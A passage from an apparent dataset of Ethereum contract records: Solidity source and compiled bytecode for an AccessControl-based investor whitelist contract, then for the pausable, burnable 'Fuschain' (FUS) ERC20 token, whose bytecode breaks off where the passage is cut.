(0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } /** * @title Whitelist * @dev this contract enables whitelisting of users. */ contract WhiteList is AccessControl{ mapping (address => bool) private _isWhitelisted; // white listed flag uint public totalWhiteListed; // white listed users number address[] public holdersIndex; // iterable index of holders event AdddWhitelisted(address indexed user); event RemovedWhitelisted(address indexed user); // Create a new role identifier for the controller role bytes32 public constant CONTROLLER_ROLE = keccak256("CONTROLLER_ROLE"); modifier isController { require(hasRole(CONTROLLER_ROLE, msg.sender), "Whitelist::isController - Caller is not a controller"); _; } constructor (address admin) { _setupRole(DEFAULT_ADMIN_ROLE, admin); } /** * @dev Add an account to the whitelist, * @param user The address of the investor */ function addWhitelisted(address user) external isController() { _addWhitelisted(user); } /** * @notice This function allows to whitelist investors in batch * with control of number of iterations * @param users The accounts to be whitelisted in batch */ function addWhitelistedMultiple(address[] calldata users) external isController() { uint256 length = users.length; require(length <= 256, "Whitelist-addWhitelistedMultiple: List too long"); for (uint256 i = 0; i < length; i++) { _addWhitelisted(users[i]); } } /** * @notice Remove an account from the whitelist, calling the corresponding internal * function * @param user The address of the investor that needs to be removed */ function removeWhitelisted(address user) external isController() { _removeWhitelisted(user); } /** * @notice This function allows to whitelist investors in batch * with control of number of iterations * @param users The accounts to be whitelisted in batch */ function removeWhitelistedMultiple(address[] calldata users) external isController() { uint256 length = users.length; require(length <= 256, "Whitelist-removeWhitelistedMultiple: List too long"); for (uint256 i = 0; i < length; i++) { _removeWhitelisted(users[i]); } } /** * @notice Check if an account is whitelisted or not * @param user The account to be checked * @return true if the account is whitelisted. Otherwise, false. */ function isWhitelisted(address user) public view returns (bool) { return _isWhitelisted[user]; } /** * @notice Add an investor to the whitelist * @param user The address of the investor that has successfully passed KYC */ function _addWhitelisted(address user) internal { require(user != address(0), "WhiteList:_addWhiteList - Not a valid address"); require(_isWhitelisted[user] == false, "Whitelist-_addWhitelisted: account already whitelisted"); _isWhitelisted[user] = true; totalWhiteListed++; holdersIndex.push(user); emit AdddWhitelisted(user); } /** * @notice Remove an investor from the whitelist * @param user The address of the investor that needs to be removed */ function _removeWhitelisted(address user) internal { require(user != address(0), "WhiteList:_removeWhitelisted - Not a valid address"); require(_isWhitelisted[user] == true, "Whitelist-_removeWhitelisted: account was not whitelisted"); _isWhitelisted[user] = false; totalWhiteListed--; emit RemovedWhitelisted(user); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806336568abe11610097578063a07b206f11610066578063a07b206f14610294578063a217fddf146102b2578063c669d8b7146102d0578063d547741f146102ec576100f5565b806336568abe146101fc5780633af32abf1461021857806369c7c20e1461024857806391d1485414610264576100f5565b8063248a9ca3116100d3578063248a9ca314610164578063291d9549146101945780632a14a9da146101b05780632f2ff15d146101e0576100f5565b806301ffc9a7146100fa578063092c5b3b1461012a57806310154bad14610148575b600080fd5b610114600480360381019061010f91906113ff565b610308565b604051610121919061193c565b60405180910390f35b610132610382565b60405161013f9190611957565b60405180910390f35b610162600480360381019061015d919061132c565b6103a6565b005b61017e6004803603810190610179919061139a565b61041b565b60405161018b9190611957565b60405180910390f35b6101ae60048036038101906101a9919061132c565b61043a565b005b6101ca60048036038101906101c59190611428565b6104af565b6040516101d79190611921565b60405180910390f35b6101fa60048036038101906101f591906113c3565b6104ee565b005b610216600480360381019061021191906113c3565b610517565b005b610232600480360381019061022d919061132c565b61059a565b60405161023f919061193c565b60405180910390f35b610262600480360381019061025d9190611355565b6105f0565b005b61027e600480360381019061027991906113c3565b610720565b60405161028b919061193c565b60405180910390f35b61029c61078a565b6040516102a99190611ab4565b60405180910390f35b6102ba610790565b6040516102c79190611957565b60405180910390f35b6102ea60048036038101906102e59190611355565b610797565b005b610306600480360381019061030191906113c3565b6108c7565b005b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061037b575061037a826108f0565b5b9050919050565b7f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335781565b6103d07f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335733610720565b61040f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610406906119f4565b60405180910390fd5b6104188161095a565b50565b6000806000838152602001908152602001600020600101549050919050565b6104647f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335733610720565b6104a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049a906119f4565b60405180910390fd5b6104ac81610b75565b50565b600381815481106104bf57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6104f78261041b565b61050881610503610d2e565b610d36565b6105128383610dd3565b505050565b61051f610d2e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461058c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058390611a94565b60405180910390fd5b6105968282610eb3565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61061a7f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335733610720565b610659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610650906119f4565b60405180910390fd5b60008282905090506101008111156106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d906119b4565b60405180910390fd5b60005b8181101561071a576107078484838181106106ed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610702919061132c565b61095a565b808061071290611c81565b9150506106a9565b50505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60025481565b6000801b81565b6107c17f7b765e0e932d348852a6f810bfa1ab891e259123f02db8cdcde614c57022335733610720565b610800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f7906119f4565b60405180910390fd5b600082829050905061010081111561084d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084490611a74565b60405180910390fd5b60005b818110156108c1576108ae848483818110610894577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906108a9919061132c565b610b75565b80806108b990611c81565b915050610850565b50505050565b6108d08261041b565b6108e1816108dc610d2e565b610d36565b6108eb8383610eb3565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906119d4565b60405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5490611a54565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060026000815480929190610ac790611c81565b91905055506003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fcf1cca3d6456f2268db1b80986d584a1702c8c6acdd26fd41ce29f44a19fc2cd60405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc90611a34565b60405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6f90611a14565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060026000815480929190610ce390611c57565b91905055508073ffffffffffffffffffffffffffffffffffffffff167fb4b1b6e4ef298ce17f0c4f14828a249dec837a6146d1ceae313c808d47cbe86360405160405180910390a250565b600033905090565b610d408282610720565b610dcf57610d658173ffffffffffffffffffffffffffffffffffffffff166014610f94565b610d738360001c6020610f94565b604051602001610d849291906118e7565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc69190611972565b60405180910390fd5b5050565b610ddd8282610720565b610eaf57600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610e54610d2e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b610ebd8282610720565b15610f9057600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f35610d2e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b606060006002836002610fa79190611b4c565b610fb19190611af6565b67ffffffffffffffff811115610ff0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156110225781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611080577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061110a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506000600184600261114a9190611b4c565b6111549190611af6565b90505b6001811115611240577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106111bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b8282815181106111f9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c94508061123990611c57565b9050611157565b5060008414611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90611994565b60405180910390fd5b8091505092915050565b60008135905061129d81611d0a565b92915050565b60008083601f8401126112b557600080fd5b8235905067ffffffffffffffff8111156112ce57600080fd5b6020830191508360208202830111156112e657600080fd5b9250929050565b6000813590506112fc81611d21565b92915050565b60008135905061131181611d38565b92915050565b60008135905061132681611d4f565b92915050565b60006020828403121561133e57600080fd5b600061134c8482850161128e565b91505092915050565b6000806020838503121561136857600080fd5b600083013567ffffffffffffffff81111561138257600080fd5b61138e858286016112a3565b92509250509250929050565b6000602082840312156113ac57600080fd5b60006113ba848285016112ed565b91505092915050565b600080604083850312156113d657600080fd5b60006113e4858286016112ed565b92505060206113f58582860161128e565b9150509250929050565b60006020828403121561141157600080fd5b600061141f84828501611302565b91505092915050565b60006020828403121561143a57600080fd5b600061144884828501611317565b91505092915050565b61145a81611ba6565b82525050565b61146981611bb8565b82525050565b61147881611bc4565b82525050565b600061148982611acf565b6114938185611ada565b93506114a3818560208601611c24565b6114ac81611cf9565b840191505092915050565b60006114c282611acf565b6114cc8185611aeb565b93506114dc818560208601611c24565b80840191505092915050565b60006114f5602083611ada565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b6000611535602f83611ada565b91507f57686974656c6973742d61646457686974656c69737465644d756c7469706c6560008301527f3a204c69737420746f6f206c6f6e6700000000000000000000000000000000006020830152604082019050919050565b600061159b602d83611ada565b91507f57686974654c6973743a5f61646457686974654c697374202d204e6f7420612060008301527f76616c69642061646472657373000000000000000000000000000000000000006020830152604082019050919050565b6000611601603483611ada565b91507f57686974656c6973743a3a6973436f6e74726f6c6c6572202d2043616c6c657260008301527f206973206e6f74206120636f6e74726f6c6c65720000000000000000000000006020830152604082019050919050565b6000611667603983611ada565b91507f57686974656c6973742d5f72656d6f766557686974656c69737465643a20616360008301527f636f756e7420776173206e6f742077686974656c6973746564000000000000006020830152604082019050919050565b60006116cd603283611ada565b91507f57686974654c6973743a5f72656d6f766557686974656c6973746564202d204e60008301527f6f7420612076616c6964206164647265737300000000000000000000000000006020830152604082019050919050565b6000611733603683611ada565b91507f57686974656c6973742d5f61646457686974656c69737465643a206163636f7560008301527f6e7420616c72656164792077686974656c6973746564000000000000000000006020830152604082019050919050565b6000611799603283611ada565b91507f57686974656c6973742d72656d6f766557686974656c69737465644d756c746960008301527f706c653a204c69737420746f6f206c6f6e6700000000000000000000000000006020830152604082019050919050565b60006117ff601783611aeb565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b600061183f601183611aeb565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b600061187f602f83611ada565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6118e181611c1a565b82525050565b60006118f2826117f2565b91506118fe82856114b7565b915061190982611832565b915061191582846114b7565b91508190509392505050565b60006020820190506119366000830184611451565b92915050565b60006020820190506119516000830184611460565b92915050565b600060208201905061196c600083018461146f565b92915050565b6000602082019050818103600083015261198c818461147e565b905092915050565b600060208201905081810360008301526119ad816114e8565b9050919050565b600060208201905081810360008301526119cd81611528565b9050919050565b600060208201905081810360008301526119ed8161158e565b9050919050565b60006020820190508181036000830152611a0d816115f4565b9050919050565b60006020820190508181036000830152611a2d8161165a565b9050919050565b60006020820190508181036000830152611a4d816116c0565b9050919050565b60006020820190508181036000830152611a6d81611726565b9050919050565b60006020820190508181036000830152611a8d8161178c565b9050919050565b60006020820190508181036000830152611aad81611872565b9050919050565b6000602082019050611ac960008301846118d8565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611b0182611c1a565b9150611b0c83611c1a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b4157611b40611cca565b5b828201905092915050565b6000611b5782611c1a565b9150611b6283611c1a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b9b57611b9a611cca565b5b828202905092915050565b6000611bb182611bfa565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015611c42578082015181840152602081019050611c27565b83811115611c51576000848401525b50505050565b6000611c6282611c1a565b91506000821415611c7657611c75611cca565b5b600182039050919050565b6000611c8c82611c1a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611cbf57611cbe611cca565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b611d1381611ba6565b8114611d1e57600080fd5b50565b611d2a81611bc4565b8114611d3557600080fd5b50565b611d4181611bce565b8114611d4c57600080fd5b50565b611d5881611c1a565b8114611d6357600080fd5b5056fea264697066735822122094e0807d4699cc4a92fbbf16395cf4152c7424feeb04fb70dce199aa7262d51864736f6c63430008000033
{"success": true, "error": null, "results": {}}
5,666
0xfdde69eca6637302f6b712196d65c7ca0f229ed3
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = true; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can't be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Fuschain is PausableToken { string public constant name = "Fuschain"; string public constant symbol = "FUS"; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function Fuschain( address _admin, uint _totalTokenAmount ) { // assign the admin account admin = _admin; // assign the total tokens to Fuschain totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; Transfer(address(0x0), msg.sender, _totalTokenAmount); } function transfer(address _to, uint _value) validDestination(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner { // owner can re-assign the admin AdminTransferred(admin, newAdmin); admin = newAdmin; } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e157806323b872dd1461020657806324bb7c261461022e578063313ce5671461024157806342966c681461026a57806364779ad714610280578063661884631461029357806370a08231146102b557806379cc6790146102d45780638da5cb5b146102f65780638f2839701461032557806395d89b4114610346578063a9059cbb14610359578063d73dd6231461037b578063db0e16f11461039d578063dd62ed3e146103bf578063ddeb5094146103e4578063f2fde38b14610401578063f851a44014610420575b600080fd5b341561012c57600080fd5b610134610433565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610170578082015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101cd600160a060020a036004351660243561046a565b604051901515815260200160405180910390f35b34156101ec57600080fd5b6101f46104d9565b60405190815260200160405180910390f35b341561021157600080fd5b6101cd600160a060020a03600435811690602435166044356104df565b341561023957600080fd5b6101cd61052c565b341561024c57600080fd5b61025461053c565b60405160ff909116815260200160405180910390f35b341561027557600080fd5b6101cd600435610541565b341561028b57600080fd5b6101cd61061e565b341561029e57600080fd5b6101cd600160a060020a036004351660243561062e565b34156102c057600080fd5b6101f4600160a060020a0360043516610696565b34156102df57600080fd5b6101cd600160a060020a03600435166024356106b1565b341561030157600080fd5b6103096106cf565b604051600160a060020a03909116815260200160405180910390f35b341561033057600080fd5b610344600160a060020a03600435166106de565b005b341561035157600080fd5b610134610764565b341561036457600080fd5b6101cd600160a060020a036004351660243561079b565b341561038657600080fd5b6101cd600160a060020a03600435166024356107e6565b34156103a857600080fd5b610344600160a060020a036004351660243561084e565b34156103ca57600080fd5b6101f4600160a060020a0360043581169060243516610904565b34156103ef57600080fd5b6103446004351515602435151561092f565b341561040c57600080fd5b610344600160a060020a0360043516610a1d565b341561042b57600080fd5b610309610ab8565b60408051908101604052600881527f467573636861696e000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156104c85760035460a860020a900460ff16151561011c5760045433600160a060020a03908116911614806104bd575060035433600160a060020a039081169116145b15156104c857600080fd5b6104d28383610ac7565b9392505050565b60005481565b600082600160a060020a03811615156104f757600080fd5b30600160a060020a031681600160a060020a03161415151561051857600080fd5b610523858585610b33565b95945050505050565b60035460a060020a900460ff1681565b601281565b600160a060020a03331660009081526001602052604081205461056a908363ffffffff610b9c16565b600160a060020a03331660009081526001602052604081209190915554610597908363ffffffff610b9c16565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001919050565b60035460a860020a900460ff1681565b60035460009060a060020a900460ff161561068c5760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610681575060035433600160a060020a039081169116145b151561068c57600080fd5b6104d28383610bae565b600160a060020a031660009081526001602052604090205490565b60006106be8333846104df565b15156106c657fe5b6104d282610541565b600354600160a060020a031681565b60035433600160a060020a039081169116146106f957600080fd5b600454600160a060020a0380831691167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051908101604052600381527f4655530000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a03811615156107b357600080fd5b30600160a060020a031681600160a060020a0316141515156107d457600080fd5b6107de8484610ca8565b949350505050565b60035460009060a060020a900460ff16156108445760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610839575060035433600160a060020a039081169116145b151561084457600080fd5b6104d28383610d10565b60035433600160a060020a0390811691161461086957600080fd5b600354600160a060020a038084